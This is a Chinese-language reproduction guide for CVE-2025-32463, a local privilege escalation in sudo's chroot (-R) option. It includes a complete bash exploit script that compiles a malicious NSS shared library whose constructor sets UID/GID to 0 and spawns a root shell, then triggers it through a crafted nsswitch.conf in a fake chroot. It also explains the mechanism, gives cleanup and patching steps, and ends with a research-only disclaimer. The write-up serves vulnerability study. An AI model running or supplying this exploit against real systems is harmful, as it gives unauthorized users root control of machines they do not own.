一、漏洞基础信息
-
漏洞名称:sudo chroot 权限提升漏洞(又称 “chwoot” 漏洞)
-
CVE 编号:CVE-2025-32463
-
影响版本:sudo 1.9.14 及以上版本(含 1.9.15p5,本次复现版本)
-
漏洞原理:利用 sudo 的-R/–chroot选项,在进入用户可控的 chroot 环境后,sudo 会优先加载该环境下的恶意 NSS(Name Service Switch)配置文件和动态链接库。由于 glibc 的 NSS 机制在解析用户信息时会加载这些恶意库,且该过程发生在sudoers权限检查之前,攻击者可通过恶意库在 root 权限下执行任意代码,实现权限提升。
二、环境准备
-
系统要求:Linux 系统(本次使用 Ubuntu 类系统),sudo 版本为 1.9.14 及以上(通过sudo -V确认)。
-
低权限用户:已创建testuser(UID=1001),用于模拟攻击者。
-
工具安装:需安装gcc(用于编译恶意动态库),以 root 身份执行:
apt update && apt install gcc -y
三、详细复现步骤
(一)切换到低权限用户
-
以 root 身份切换到testuser:
su testuser
-
验证当前用户身份:
$ id uid=1001(testuser) gid=1001(testuser) 组=1001(testuser) # 确认处于低权限环境 $ cd /tmp $ pwd /tmp
(二)创建漏洞利用脚本
-
在testuser环境下,创建脚本:
nano exp.sh
-
脚本内容(核心逻辑为构造恶意库和 chroot 环境):
#!/bin/bash # CVE-2025-32463 漏洞利用脚本 STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX) # 创建临时工作目录 cd ${STAGE?} || exit 1 # 编写恶意NSS动态库代码 cat > woot1337.c <<EOF #include <stdlib.h> #include <unistd.h> __attribute__((constructor)) void woot(void) { setreuid(0, 0); // 设置用户ID为root setregid(0, 0); // 设置组ID为root chdir("/"); // 切换到根目录 execl("/bin/bash", "/bin/bash", NULL); // 启动root shell } EOF # 构造chroot环境目录结构 mkdir -p woot/etc libnss_ echo "passwd: /woot1337" > woot/etc/nsswitch.conf # 指定加载恶意NSS库 cp /etc/group woot/etc # 复制系统group文件,避免解析错误 # 编译恶意动态库(生成libnss_woot1337.so.2) gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c # 执行漏洞利用(-R指定chroot目录为woot,命令woot可不存在) echo "触发漏洞..." sudo -R woot woot # 清理临时文件(若提权成功,需手动清理) rm -rf ${STAGE?}
-
保存并退出编辑器(Ctrl+O保存,Ctrl+X退出)。
(三)赋予脚本执行权限并运行
-
赋予执行权限:
chmod +x exp.sh
-
执行脚本:
./exp.sh
(四)验证提权结果
-
脚本执行后,成功进入 root 环境,执行id验证:
四、关键流程解析
-
恶意库设计:woot1337.c中用attribute((constructor))修饰的woot()函数,会在库被加载时自动执行,通过setreuid和setregid切换为 root 权限,并启动 bash shell。
-
chroot 环境构造:创建woot/etc目录,写入nsswitch.conf指定解析passwd时加载/woot1337(即恶意库.2),同时复制/etc/group避免用户组解析失败。
-
漏洞触发:sudo -R woot woot命令使 sudo 进入woot目录作为 chroot 环境,在解析用户信息时加载恶意库,触发woot()函数执行,最终获得 root shell。
五、复现后处理
-
清理临时文件:退出 root shell(exit),返回testuser环境,删除临时目录:
rm -rf /tmp/sudowoot.stage.*
2升级 sudo 修复漏洞:以 root 身份执行:
apt update && apt upgrade sudo -y # 升级至1.9.18及以上修复版本
六、注意事项
-
漏洞利用依赖sudo -R选项的使用权限,若用户被禁止使用该选项,则无法触发。
-
复现仅用于安全研究,请勿在未授权系统上使用。
-